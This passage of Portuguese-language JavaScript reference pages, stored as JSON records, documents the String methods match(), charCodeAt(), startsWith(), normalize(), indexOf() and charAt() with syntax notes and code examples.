nomeado foi definido. Consulte Grupos e Intervalos (en-US) para obter mais informações.\n\n`index`\n\nO índice da pesquisa em que o resultado foi encontrado.\n\n`input`\n\nUma cópia da string pesquisada.\n\nDescrição\n---------\n\nSe a expressão regular não incluir o sinalizador `g`, `str.match()` retornará o mesmo resultado que `RegExp.exec()`.\n\n### Veja também: métodos RegExp\n\n* Se você precisar saber se uma string corresponde a uma expressão regular, use `RegExp.test()`.\n* Se você quiser encontrar apenas uma correspondência, você pode querer usar `RegExp.exec()`.\n* Se você deseja obter grupos de captura e o sinalizador global (`g`) está definido, você precisa usar `RegExp.exec()` ou `String. prototype.matchAll()`  em vez disso.\nExemplos\n--------\n\n### Usando `match()`\n\nNo exemplo a seguir, `match()` é usado para encontrar \"Capítulo\", seguido de um ou mais caracteres numéricos, seguido por um ponto decimal e caracteres numéricos 0 ou mais vezes. A expressão inclui a flag `i` para que diferenças de maiúscula/minúscula sejam ignoradas.\n\n\n```js\nconst str = \"Para maiores informações, veja o Capítulo 3.4.5.1\";\nconst re = /(capítulo \\d+(\\.\\d)\\*)/i;\nconst found = str.match(re);\n\nconsole.log(found);\n\n// retorna [\"Capítulo 3.4.5.1\",\n            \"Capítulo 3.4.5.1\",\n            \".1\",\n            index: 33,\n            input: \"Para maiores informações, veja o Capítulo 3.4.5.1\"]\n\n// \"Capítulo 3.4.5.1\" é a primeira correspondência e o primeiro valor\n// capturado a partir de (capítulo \\d+(\\.\\d)\\*).\n// \".1\" é o útlimo valor de (\\.\\d).\n// A propriedade \"index\" (33) é o índice de base zero da correspôndencia inteira.\n// A propriedade \"input\" é a string original que foi analisada.\n```\n\n### Usando as bandeiras (flags) global e ignore com`match()`\n\nO exemplo a seguir demonstra o uso das bandeiras (flags) global e ignore com `match()`. Todas as letras de `A` a `E` e `a` a `e` são retornadas, com cada letra sendo um elemento no array.\n\n\n```js\nconst str = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\nconst regexp = /[A-E]/gi;\nconst matches_array = str.match(regexp);\n\nconsole.log(matches_array);\n// ['A', 'B', 'C', 'D', 'E', 'a', 'b', 'c', 'd', 'e']\n```\n\n\n**Nota:** Veja também `String.prototype.matchAll()` e Pesquisa avançada com sinalizadores.\n\n### Usando grupos de captura nomeados\n\nEm navegadores que suportam grupos de captura nomeados, o código a seguir captura \"`fox`\" ou \"`cat`\" em um grupo denominado \"`animal`\":\n\n\n```js\nconst paragraph = \"The quick brown fox jumps over the lazy dog. It barked.\";\n\nconst capturingRegex = /(?<animal>fox|cat) jumps over/;\nconst found = paragraph.match(capturingRegex);\nconsole.log(found.groups); // {animal: \"fox\"}\n```\n\n### Usando `match()` sem parâmetros\n\n\n```js\nconst str = \"nada se perde, tudo se transforma\";\n\nstr.match(); // retorna [\"\"]\n```\n\n### Um objeto não-RegExp como parâmetro\n\nQuando o parâmetro *`regexp`* é uma string ou um número, ele é convertido implicitamente em um `RegExp` usando o `new RegExp(regexp)`.\n\nSe for um número positivo com um sinal positivo, `RegExp()` irá ignorar o sinal positivo.\n\n\n```js\nconst str1 =\n  \"NaN significa 'não é um número'. Infinity contem -Infinity e +Infinity em JavaScript.\";\nconst str2 = \"Meu avô tem 65 anos e minha avô tem 63.\";\nconst str3 = \"O contrato foi declarado null (nulo) e void (sem efeito)\";\nstr1.match(\"número\"); // \"número\" é um string. retorna [\"número\"]\nstr1.match(NaN); // o tipo de NaN é um número. retorna [\"NaN\"]\nstr1.match(Infinity); // o tipo de Infinity é um número. retorna [\"Infinity\"]\nstr1.match(+Infinity); // retorna [\"Infinity\"]\nstr1.match(-Infinity); // retorna [\"-Infinity\"]\nstr2.match(65); // retorna [\"65\"]\nstr2.match(+65); // Um número com sinal positivo. retorna [\"65\"]\nstr3.match(null); // retorna [\"null\"]\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.match |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `RegExp.prototype.exec()`\n* `RegExp.prototype.test()`"}
{"title":"String.prototype.charCodeAt() - JavaScript","text":"String.prototype.charCodeAt()\n=============================\n\nO método **`charCodeAt()`** retorna um número inteiro entre `0` e `65535` que representa a unidade de código UTF-16 no índice fornecido. A unidade de código UTF-16 corresponde ao ponto de código Unicode para pontos de códigos representáveis em uma única unidade de código UTF-16, mas também pode ser a primeira unidade de código de um par substituto não representável em uma única unidade de código UTF-16. Po exemplo: pontos de código Unicode > (0x10000). Se você quer o valor do ponto de código inteiro, use **`codePointAt`**().\n\nSintaxe\n-------\n```\n\nstr.charCodeAt(index)\n```\n\n### Parâmetros\n\n`index`\n\nUm inteiro maior ou igual a `0` e menor que o comprimento da string. Se não for um número, o padrão será `0`.\n\n### Valor retornado\n\nUm número representando o valor de unidade de código UTF-16 do caractere no índice fornecido. O valor `NaN` é retornado se o índice estiver fora do intervalo aceitável.\n\nDescrição\n---------\n\nOs pontos de código Unicode variam de `0` a `1114111` (`0x10FFFF`). Os primeiros 128 pontos de código Unicode são uma correspondência direta da codificação de caracteres ASCII. (Para informações sobre Unicode, veja o JavaScript Guide.)\n\n**Nota:** o `charCodeAt()` sempre retornará um valor menor do que `65536`. Isso ocorre pois os pontos de código mais altos são representados por um par de pseudo-caracteres \"substitutos\" (de menor valor) que são usados para compreender o caracter real.\n\nPor isso, para examinar (ou reproduzir) o caractere completo para valores de caracteres individuais de valor `65536` e acima, é necessário recuperar não apenas o `charCodeAt(i)`, mas também o `charCodeAt(i+1)` (como se examinando/reproduzindo a string com duas letras), ou usar o `codePointAt(i)`. Veja o exemplo 2 e 3 (abaixo).\n\nCompatibilidade com versões anteriores: Em versões históricas (como JavaScript 1.2) o método `charCodeAt()` retorna um número indicando o valor de conjunto de códigos ISO-Latin-1 do caractere no dado índice. O conjunto de códigos ISO-Latin-1 varia de `0` a `255`. Os primeiros `128` (do `0` ao `127`) são uma correspondência direta ao conjunto de caracteres ASCII.\n\nExemplos\n--------\n\n### Usando `charCodeAt()`\n\nO exemplo a seguir retorna `65`, o valor Unicode para A.\n\n\n```js\n\"ABC\".charCodeAt(0); // retorna 65\n```\n\n### Corrigindo o `charCodeAt()` para manipular caracteres de Plano Multilingual não Básico se sua presença na string é desconhecida\n\nEssa versão pode ser usada em loops **for** e afins quando não sabemos se caracteres de Plano Multilingual não Básico existem antes da posição do índice especificado.\n\n\n```js\nfunction fixedCharCodeAt(str, idx) {\n  // ex. fixedCharCodeAt('\\uD800\\uDC00', 0); // 65536\n  // ex. fixedCharCodeAt('\\uD800\\uDC00', 1); // false\n  idx = idx || 0;\n  var code = str.charCodeAt(idx);\n  var hi, low;\n\n  // Substituto elevado (poderia mudar o último hex para 0xDB7F para tratar\n  // substitutos privados elevados como caracteres únicos)\n  if (0xd800 <= code && code <= 0xdbff) {\n    hi = code;\n    low = str.charCodeAt(idx + 1);\n    if (isNaN(low)) {\n      throw \"High surrogate not followed by low surrogate in fixedCharCodeAt()\";\n    }\n    return (hi - 0xd800) \\* 0x400 + (low - 0xdc00) + 0x10000;\n  }\n  if (0xdc00 <= code && code <= 0xdfff) {\n    // Low surrogate\n    // Retornamos false para permitir os loops pularem essa iteração já que já deveria\n    //ter tratado os substitutos elevados acima, na iteração anterior\n    return false;\n    /\\*hi = str.charCodeAt(idx - 1);\n low = code;\n return ((hi - 0xD800) \\* 0x400) + (low - 0xDC00) + 0x10000;\\*/\n  }\n  return code;\n}\n```\n\n### Corrigindo o `charCodeAt()` para manipular caracteres de Plano Multilingual não Básico se sua presença na string é desconhecida\n\n\n```js\nfunction knownCharCodeAt(str, idx) {\n  str += \"\";\n  var code,\n    end = str.length;\n\n  var surrogatePairs = /[\\uD800-\\uDBFF][\\uDC00-\\uDFFF]/g;\n  while (surrogatePairs.exec(str) != null) {\n    var li = surrogatePairs.lastIndex;\n    if (li - 2 < idx) {\n      idx++;\n    } else {\n      break;\n    }\n  }\n\n  if (idx >= end || idx < 0) {\n    return NaN;\n  }\n\n  code = str.charCodeAt(idx);\n\n  var hi, low;\n  if (0xd800 <= code && code <= 0xdbff) {\n    hi = code;\n    low = str.charCodeAt(idx + 1);\n    // Vá um adiante, já que um dos \"characters\" é parte de um par substituto\n    return (hi - 0xd800) \\* 0x400 + (low - 0xdc00) + 0x10000;\n  }\n  return code;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.charcodeat |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.fromCharCode()`\n* `String.prototype.charAt()`\n* `String.fromCodePoint()`\n* `String.prototype.codePointAt()`"}
{"title":"String.prototype.startsWith() - JavaScript","text":"String.prototype.startsWith()\n=============================\n\nO método **`startsWith()`** determina se uma string começa com os caracteres especificados, retornando `true` ou `false`.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nstr.startsWith(searchString[, position])\n```\n\n### Parâmetros\n\n*`searchString`*\n\nOs caracteres a serem procurados a partir do início dessa string.\n\n*`position`*\n\nOpcional. A posição nessa string na qual se inicia a busca pela *`searchString`*. O valor padrão é `0`.\n\n### Valor retornado\n\n**`true`** se os caracteres fornecidos forem encontrados no início da string. Se não, **`false`**.\n\nDescrição\n---------\n\nEsse método permite determinar se uma string começa ou não com outra string. Esse método é case-sensitive (difere maiúsculas de minúsculas, e vice-versa).\n\nExemplos\n--------\n\n### Usando `startsWith()`\n\n\n```js\n//startswith\nlet str = \"Ser ou não ser, eis a questão.\";\n\nconsole.log(str.startsWith(\"Ser\")); // true\nconsole.log(str.startsWith(\"não ser\")); // false\nconsole.log(str.startsWith(\"não ser\", 7)); // true\n```\n\nPolyfill\n--------\n\nEste método foi adicionaldo à especificação ECMAScript 2015 e pode ainda não estar disponível em todas as implementações do JavaScript. No entanto, você pode usar o polyfill `String.prototype.startsWith()` adicionando o seguinte código:\n```\n\nif (!String.prototype.startsWith) {\n    Object.defineProperty(String.prototype, 'startsWith', {\n        value: function(search, rawPos) {\n            var pos = rawPos > 0 ? rawPos|0 : 0;\n            return this.substring(pos, pos + search.length) === search;\n        }\n    });\n}\n```\n\n\nUm polyfill mais robusto (totalmente conforme com a especificação ES2015), mas com menor desempenho e compacto está disponível no GitHub por Mathias Bynens.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.startswith |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.endsWith()`\n* `String.prototype.includes()`\n* `String.prototype.indexOf()`\n* `String.prototype.lastIndexOf()`"}
{"title":"String.prototype.normalize() - JavaScript","text":"String.prototype.normalize()\n============================\n\nO método **`normalize()`** retorna a Forma de Normalização Unicode (Unicode Normalization Form) de uma dada string (se o valor não é uma string, ele será convertido para uma primeiramente).\n\nSintaxe\n-------\n```\n\nstr.normalize([form])\n```\n\n### Parâmetros\n\n`form`\n\nOpcional. Um dentre os seguintes valores: `\"NFC\"`, `\"NFD\"`, `\"NFKC\"`, ou `\"NFKD\"`, especificando o formato de normalização. Se o valor for omitido ou for `undefined`, `\"NFC\"` será utilizado.\n\n* `NFC` — Formato de Normalização Canônico de Composição.\n* `NFD` — Formato de Normalização Canônico de Decomposição.\n* `NFKC` — Formato de Normalização de Compatibilidade de Composição.\n* `NFKD` — Formato de Normalização de Compatibilidade de Decomposição.\n\n### Valor retornado\n\nUma string contendo a Forma de Normalização Unicode da string dada.\n\n### Erros lançados\n\n`RangeError` (en-US)\n\nEm erro `RangeError` (en-US) é lançado se `form` não for um dos valores especificados acima.\n\nDescrição\n---------\n\nO Unicode atribui um valor numérico exclusivo, denominado *ponto de código*, a cada caractere. Por exemplo, o ponto de código para *\"A\"* é fornecido como U+0041. No entanto, às vezes mais de um ponto de código, ou sequência de pontos de código, podem representar o mesmo caractere abstrato - o caractere `\"ñ\"`, por exemplo, pode ser representado por:\n\n* Apenas um ponto de código U+00F1.\n* O ponto de código para `\"n\"` (U+006E) seguido pelo ponto de código para o til (U+0303).\n\n\n```js\nlet string1 = \"\\u00F1\";\nlet string2 = \"\\u006E\\u0303\";\n\nconsole.log(string1); // retorna ñ\nconsole.log(string2); // retorna ñ\n```\n\n\nNo entanto, como os pontos de código são diferentes, a comparação de strings não os tratará como iguais. E como o número de pontos de código em cada versão é diferente, eles até mesmo possuem comprimentos diferentes.\n\n\n```js\nlet string1 = \"\\u00F1\"; // ñ\nlet string2 = \"\\u006E\\u0303\"; // ñ\n\nconsole.log(string1 === string2); // retorna false\nconsole.log(string1.length); // retorna 1\nconsole.log(string2.length); // retorna 2\n```\n\n\nO método `normalize()` ajuda a resolver esse problema convertendo uma string em uma forma normalizada comum para todas as sequências de pontos de código que representam os mesmos caracteres. Existem duas principais formas de normalização, uma baseada na **equivalência canônica** e a outra baseada na **compatibilidade**.\n\n### Normalização de equivalência canônica\n\nEm Unicode, duas sequências de pontos de código têm equivalência canônica se representarem os mesmos caracteres abstratos e tiverem sempre a mesma aparência visual e comportamento (por exemplo, eles devem sempre ser classificados da mesma maneira).\n\nVocê pode usar o `normalize()` usando os argumentos `\"NFD\"` ou `\"NFC\"` para produzir uma forma de string que será a mesma para todas as strings canonicamente equivalentes. No exemplo abaixo, normalizamos duas representações do caractere `\"ñ\"`:\n\n\n```js\nlet string1 = \"\\u00F1\"; // ñ\nlet string2 = \"\\u006E\\u0303\"; // ñ\n\nstring1 = string1.normalize(\"NFD\");\nstring2 = string2.normalize(\"NFD\");\n\nconsole.log(string1 === string2); // retorna true\nconsole.log(string1.length); // retorna 2\nconsole.log(string2.length); // retorna 2\n```\n\n\n#### Formas compostas e decompostas\n\nObserve que o comprimento da forma normalizada em `\"NFD\"` é `2`. Isso porque `\"NFD\"` fornece a versão **decomposta** da forma canônica, na qual pontos de código únicos são divididos em vários combinados. A forma canônica decomposta para `\"ñ\"` é `\"\\u006E\\u0303\"`.\n\nVocê pode especificar `\"NFC\"` para obter a forma canônica **composta**, na qual vários pontos de código são substituídos por pontos de código únicos sempre que possível. A forma canônica composta para `\"ñ\"` é `\"\\u00F1\"`:\n\n\n```js\nlet string1 = \"\\u00F1\"; // ñ\nlet string2 = \"\\u006E\\u0303\"; // ñ\n\nstring1 = string1.normalize(\"NFC\");\nstring2 = string2.normalize(\"NFC\");\n\nconsole.log(string1 === string2); // true\nconsole.log(string1.length); // 1\nconsole.log(string2.length); // 1\nconsole.log(string2.codePointAt(0).toString(16)); // f1\n```\n\n### Normalização de compatibilidade\n\nNo Unicode, duas sequências de pontos de código são compatíveis se representarem os mesmos caracteres abstratos e devem ser tratadas da mesma forma em algumas - mas não necessariamente em todas - aplicações.\n\nTodas as sequências canonicamente equivalentes também são compatíveis, mas não o contrário.\n\nPor exemplo:\n\n* o ponto de código U+FB00 representa a ligadura (en-US) `\"ff\"`. É compatível com dois pontos de código U+0066 consecutivos (`\"ff\"`).\n* o ponto de código U+24B9 representa o símbolo `\"Ⓓ\"`. É compatível com o ponto de código U+0044 (`\"D\"`).\n\nEm alguns aspectos (como classificação), eles devem ser tratados como equivalentes - e em alguns (como a aparência visual) não devem, portanto, não são canonicamente equivalentes.\n\nVocê pode usar o `normalize()` usando os argumentos `\"NFKD\"` ou `\"NFKC\"` para produzir uma forma de string que será a mesma para todas as strings compatíveis:\n\n\n```js\nlet string1 = \"\\uFB00\";\nlet string2 = \"\\u0066\\u0066\";\n\nconsole.log(string1); // ff\nconsole.log(string2); // ff\nconsole.log(string1 === string2); // false\nconsole.log(string1.length); // 1\nconsole.log(string2.length); // 2\n\nstring1 = string1.normalize(\"NFKD\");\nstring2 = string2.normalize(\"NFKD\");\n\nconsole.log(string1); // ff <- aparência visual modificada\nconsole.log(string2); // ff\nconsole.log(string1 === string2); // true\nconsole.log(string1.length); // 2\nconsole.log(string2.length); // 2\n```\n\n\nAo aplicar a normalização de compatibilidade, é importante considerar o que você pretende fazer com as strings, uma vez que a forma normalizada pode não ser apropriada para as aplicações. No exemplo acima, a normalização é apropriada para pesquisa, porque permite que um usuário encontre a string pesquisando por `\"f\"`. Mas pode não ser apropriado para exibição, porque a representação visual é diferente.\n\nComo na normalização canônica, você pode solicitar formulários compatíveis decompostos ou compostos passando `\"NFKD\"` ou `\"NFKC\"`, respectivamente.\n\nExemplos\n--------\n\n### Usando `normalize()`\n\n\n```js\n// String Inicial\n\n// U+1E9B: CARACTERE LATINO - LETRA S COMPRIDA COM PONTO ACIMA\n// U+0323: COMBINANDO PONTO ABAIXO\nvar str = \"\\u1E9B\\u0323\";\n\n// Formato de Normalização Canônico de Composição (NFC)\n\n// U+1E9B: CARACTERE LATINO - LETRA S COMPRIDA COM PONTO ACIMA\n// U+0323: COMBINANDO PONTO ABAIXO\nstr.normalize(\"NFC\"); // '\\u1E9B\\u0323'\nstr.normalize(); // igual à linha de cima\n\n// Formato de Normalização Canônico de Decomposição (NFD)\n\n// U+017F: CARACTERE LATINO - LETRA S COMPRIDA\n// U+0323: COMBINANDO PONTO ABAIXO\n// U+0307: COMBINANDO PONTO ACIMA\nstr.normalize(\"NFD\"); // '\\u017F\\u0323\\u0307'\n\n// Formato de Normalização de Compatibilidade de Composição. (NFKC)\n\n// U+1E69: CARACTERE LATINO - LETRA S COMPRIDA COM PONTO ACIMA E ABAIXO\nstr.normalize(\"NFKC\"); // '\\u1E69'\n\n// Formato de Normalização de Compatibilidade de Decomposição (NFKD)\n\n// U+0073: CARACTERE LATINO - LETRA S COMPRIDA\n// U+0323: COMBINANDO PONTO ABAIXO\n// U+0307: COMBINANDO PONTO ACIMA\nstr.normalize(\"NFKD\"); // '\\u0073\\u0323\\u0307'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.normalize |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Unicode Standard Annex #15, Unicode Normalization Forms\n* Unicode equivalence"}
{"title":"String.prototype.indexOf() - JavaScript","text":"String.prototype.indexOf()\n==========================\n\nSumário\n-------\n\nO método `indexOf()` retorna o índice da primeira ocorrência do valor fornecido em searchValue, começando a busca a partir de `fromIndex`. Retorna `-1` se o valor não for encontrado.\n\n**Nota:** Para o método de Array, veja `Array.prototype.indexOf()`.\n\nSintaxe\n-------\n```\n\nstr.indexOf(searchValue[, fromIndex])\n```\n\n### Parâmetros\n\n`searchValue`\n\nUma string representando o valor a ser buscado. Se nenhuma string for fornecida explicitamente, `searchValue` terá o valor de `undefined`, e esse valor será buscado na string atual. Por exemplo, `'undefined'.indexOf()` retornará `0`, já que `undefined` é encontrado na posição `0`. Já `'undefine'.indexOf()` retornará `-1`, já que `undefined` não pôde ser encontrado.\n\n`fromIndex`\n\nUm número inteiro representando um índice da string original a partir da qual a busca deve começar. Por padrão é `0`. Se `fromIndex < 0`, a string toda é percorrida (equivale a passar 0). Se `fromIndex >= str.length`, o método retornará `-1`, já que a busca será iniciada após o final da string.\n\n### Valor retornado\n\nO índice da primeira ocorrência de *searchValue*, ou `-1` se não for encontrado.\n\nUma string vazia no *searchValue* produz resultados estranhos. Sem `fromIndex`, ou com qualquer `fromIndex` menor que o comprimento da string, o valor retornado é o próprio `fromIndex`:\n\n\n```js\n\"Olá, mundo\".indexOf(\"\"); // retorna 0\n\"Olá, mundo\".indexOf(\"\", 0); // retorna 0\n\"Olá, mundo\".indexOf(\"\", 3); // retorna 3\n\"Olá, mundo\".indexOf(\"\", 8); // retorna 8\n```\n\n\nEntretanto, com qualquer `fromIndex` igual ou maior que o comprimento da string, o valor retornado é o comprimento da string:\n\n\n```js\n\"Olá, mundo\".indexOf(\"\", 11); // retorna 10\n\"Olá, mundo\".indexOf(\"\", 13); // retorna 10\n\"Olá, mundo\".indexOf(\"\", 22); // retorna 10\n```\n\nDescrição\n---------\n\nCaracteres em uma string são indexados da esquerda para a direita. O índice do primeiro caractere é `0`, e o índice do último caractere de uma string chamada `stringName` é `stringName.length - 1`.\n\n\n```js\n\"Blue Whale\".indexOf(\"Blue\"); // retorna 0\n\"Blue Whale\".indexOf(\"Whale\"); // retorna 5\n\"Blue Whale\".indexOf(\"Blute\"); // retorna -1\n\"Blue Whale\".indexOf(\"Whale\", 0); // retorna 5\n\"Blue Whale\".indexOf(\"Whale\", 5); // retorna 5\n\"Blue Whale\".indexOf(\"Whale\", 7); // retorna -1\n\"Blue Whale\".indexOf(\"\"); // retorna 0\n\"Blue Whale\".indexOf(\"\", 9); // retorna 9\n\"Blue Whale\".indexOf(\"\", 10); // retorna 10\n\"Blue Whale\".indexOf(\"\", 11); // retorna 10\n```\n\n### Verificando ocorrências\n\nNote que um retorno `0` não implica em `true`, e `-1` não implica em `false`. Portanto, a maneira correta de se verificar se uma string específica está contida em outra string seria:\n\n\n```js\n\"Blue Whale\".indexOf(\"Blue\") !== -1; // true\n\"Blue Whale\".indexOf(\"Bloe\") !== -1; // false\n```\n\nExemplos\n--------\n\n### Usando `indexOf()`\n\nO exemplo a seguir usa `indexOf()` para localizar valores dentro da string \"`Brave new world`\".\n\n\n```js\nvar anyString = \"Brave new world\";\n\nconsole.log(\n  \"O índice do primeiro w partindo do começo é \" + anyString.indexOf(\"w\"),\n);\n// Exibe 8\n\nconsole.log(\n  \"O índice de 'new' partindo do começo é \" + anyString.indexOf(\"new\"),\n);\n// Exibe 6\n```\n\n### `indexOf()` e sensibilidade a maiúsculas e minúsculas\n\nO exemplo a seguir define duas variáveis string. Ambas contém a mesma string, exceto que a segunda string tem letras maiúsculas. O primeiro método `console.log()` exibe `19`. Porém, como o método `indexOf` é sensível a letras maiúsculas e minúsculas, a string `\"cheddar\"` não é encontrada em `myCapString`, portanto, o segundo método `console.log()` exibe `-1`.\n\n\n```js\nvar myString = \"brie, pepper jack, cheddar\";\nvar myCapString = \"Brie, Pepper Jack, Cheddar\";\n\nconsole.log('myString.indexOf(\"cheddar\") é ' + myString.indexOf(\"cheddar\"));\n// Exibe 19\nconsole.log(\n  'myCapString.indexOf(\"cheddar\") é ' + myCapString.indexOf(\"cheddar\"),\n);\n// Exibe -1\n```\n\n### Usando `indexOf()` para contar as ocorrências de uma letra numa string\n\nO exemplo a seguir atribui à variável `count` o número de ocorrências da letra `x` na string `str`:\n\n\n```js\nconst str = \"Serx ou não ser, eisx a questão\";\ncount = 0;\npos = str.indexOf(\"x\"); // retorna 3\n\nwhile (pos != -1) {\n  count++;\n  pos = str.indexOf(\"x\", pos + 1 /\\* o mesmo que 3 + 1 \\*/);\n}\n\nconsole.log(count);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.indexof |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.charAt()`\n* `String.prototype.lastIndexOf()`\n* `String.prototype.includes()`\n* `String.prototype.split()`\n* `Array.prototype.indexOf()`"}
{"title":"String.prototype.charAt() - JavaScript","text":"String.prototype.charAt()\n=========================\n\nO método **`charAt()`** retorna o caractere especificado a partir de uma string.\n\nSintaxe\n-------\n```\n\nstr.charAt(index)\n```\n\n### Parâmetros\n\n`index`\n\nUm inteiro entre `0` e `str.length - 1`. Se nenhum índice for definido, `charAt()` usará `0` como índice.\n\n### Valor retornado\n\nUma string representando o caractere no índice especificado. Uma string vazia se o **`index`** fornecido estiver fora do intervalo de índices da string `str`.\n\nDescrição\n---------\n\nCaracteres em uma string são indexados da esquerda para a direita. O índice do primeiro caractere é `0` (zero), e o índice do último caractere em uma string declarada como `stringName` é `stringName.length - 1`. Se o índice que você fornecer estiver fora do intervalo de índices da string, JavaScript retornará uma string vazia.\n\nSe nenhum índice for passado para `charAt()`, `0` será usado por padrão.\n\nExemplos\n--------\n\n### Mostrando caracteres em diferente localizações em uma string\n\nO exemplo a seguir mostra caracteres em diferentes locais em uma string `\"Brave new world\"`:\n\n\n```js\nvar anyString = \"Brave new world\";\n\nconsole.log(\"A letra no índice 0 é '\" + anyString.charAt(0) + \"'\");\nconsole.log(\"A letra no índice 1 é '\" + anyString.charAt(1) + \"'\");\nconsole.log(\"A letra no índice 2 é '\" + anyString.charAt(2) + \"'\");\nconsole.log(\"A letra no índice 3 é '\" + anyString.charAt(3) + \"'\");\nconsole.log(\"A letra no índice 4 é '\" + anyString.charAt(4) + \"'\");\nconsole.log(\"A letra no índice 99 é '\" + anyString.charAt(999) + \"'\");\n```\n\n\nAs linhas acima retornam o seguinte:\n\n\n```js\nA letra no índice 0 é 'B'\nA letra no índice 1 é 'r'\nA letra no índice 2 é 'a'\nA letra no índice 3 é 'v'\nA letra no índice 4 é 'e'\nA letra no índice 99 é ''\n```\n\n### Obtendo caracteres inteiros\n\nO seguinte código fornece um meio de garantir que passar por um loop de string sempre forneça um caractere inteiro, mesmo se a string contiver caracteres que não estão no Plano Multilíngue Básico.\n\n\n```js\nvar str = \"A \\uD87E\\uDC04 Z\"; // We could also use a non-BMP character directly\nfor (var i = 0, chr; i < str.length; i++) {\n  if ((chr = getWholeChar(str, i)) === false) {\n    continue;\n  }\n  // Adapt this line at the top of each loop, passing in the whole string and\n  // the current iteration and returning a variable to represent the\n  // individual character\n\n  console.log(chr);\n}\n\nfunction getWholeChar(str, i) {\n  var code = str.charCodeAt(i);\n\n  if (isNaN(code)) {\n    return \"\"; // Position not found\n  }\n  if (code < 0xd800 || code > 0xdfff) {\n    return str.charAt(i);\n  }\n\n  // High surrogate (could change last hex to 0xDB7F to treat high private\n  // surrogates as single characters)\n  if (0xd800 <= code && code <= 0xdbff) {\n    if (str.length <= i + 1) {\n      throw \"High surrogate without following low surrogate\";\n    }\n    var next = str.charCodeAt(i + 1);\n    if (0xdc00 > next || next > 0xdfff) {\n      throw \"High surrogate without following low surrogate\";\n    }\n    return str.charAt(i) + str.charAt(i + 1);\n  }\n  // Low surrogate (0xDC00 <= code && code <= 0xDFFF)\n  if (i === 0) {\n    throw \"Low surrogate without preceding high surrogate\";\n  }\n  var prev = str.charCodeAt(i - 1);\n\n  // (could change last hex to 0xDB7F to treat high private\n  // surrogates as single characters)\n  if (0xd800 > prev || prev > 0xdbff) {\n    throw \"Low surrogate without preceding high surrogate\";\n  }\n  // We can pass over low surrogates now as the second component\n  // in a pair which we have already processed\n  return false;\n}\n```\n\n\nEm um ambiente ECMAScript 2016 que permite atribuição desestruturada, o seguinte código é uma alternativa mais sucinta e um pouco mais flexível, pois faz incremento para uma variável de incremento automaticamente (se o caractere justificar que seja um par substituto).\n\n\n```js\nvar str = \"A\\uD87E\\uDC04Z\"; // We could also use a non-BMP character directly\nfor (var i = 0, chr; i < str.length; i++) {\n  [chr, i] = getWholeCharAndI(str, i);\n  // Adapt this line at the top of each loop, passing in the whole string and\n  // the current iteration and returning an array with the individual character\n  // and 'i' value (only changed if a surrogate pair)\n\n  console.log(chr);\n}\n\nfunction getWholeCharAndI(str, i) {\n  var code = str.charCodeAt(i);\n\n  if (isNaN(code)) {\n    return \"\"; // Position not found\n  }\n  if (code < 0xd800 || code > 0xdfff) {\n    return [str.charAt(i), i]; // Normal character, keeping 'i' the same\n  }\n\n  // High surrogate (could change last hex to 0xDB7F to treat high private\n  // surrogates as single characters)\n  if (0xd800 <= code && code <= 0xdbff) {\n    if (str.length <= i + 1) {\n      throw \"High surrogate without following low surrogate\";\n    }\n    var next = str.charCodeAt(i + 1);\n    if (0xdc00 > next || next > 0xdfff) {\n      throw \"High surrogate without following low surrogate\";\n    }\n    return [str.charAt(i) + str.charAt(i + 1), i + 1];\n  }\n  // Low surrogate (0xDC00 <= code && code <= 0xDFFF)\n  if (i === 0) {\n    throw \"Low surrogate without preceding high surrogate\";\n  }\n  var prev = str.charCodeAt(i - 1);\n\n  // (could change last hex to 0xDB7F to treat high private surrogates\n  // as single characters)\n  if (0xd800 > prev || prev > 0xdbff) {\n    throw \"Low surrogate without preceding high surrogate\";\n  }\n  // Return the next character instead (and increment)\n  return [str.charAt(i + 1), i + 1];\n}\n```\n\n### Corrigindo `charAt()` para suportar caracteres não-Plano-Multilíngüe-Básico (PMB)\n\nEmbora o exemplo anterior possa ser mais útil para programas que devem suportar caracteres não BMP (uma vez que não exige que o chamador saiba onde qualquer caractere não BMP pode aparecer), no caso de desejar, na escolha de um caractere por índice, para tratar os pares substitutos em uma string como os caracteres únicos que eles representam, pode-se usar o seguinte:\n\n\n```js\nfunction fixedCharAt(str, idx) {\n  var ret = \"\";\n  str += \"\";\n  var end = str.length;\n\n  var surrogatePairs = /[\\uD800-\\uDBFF][\\uDC00-\\uDFFF]/g;\n  while (surrogatePairs.exec(str) != null) {\n    var li = surrogatePairs.lastIndex;\n    if (li - 2 < idx) {\n      idx++;\n    } else {\n      break;\n    }\n  }\n\n  if (idx >= end || idx < 0) {\n    return \"\";\n  }\n\n  ret += str.charAt(idx);\n\n  if (\n    /[\\uD800-\\uDBFF]/.test(ret) &&\n    /[\\uDC00-\\uDFFF]/.test(str.charAt(idx + 1))\n  ) {\n    // Go one further, since one of the \"characters\" is part of a surrogate pair\n    ret += str.charAt(idx + 1);\n  }\n  return ret;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.charat |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.indexOf()`\n* 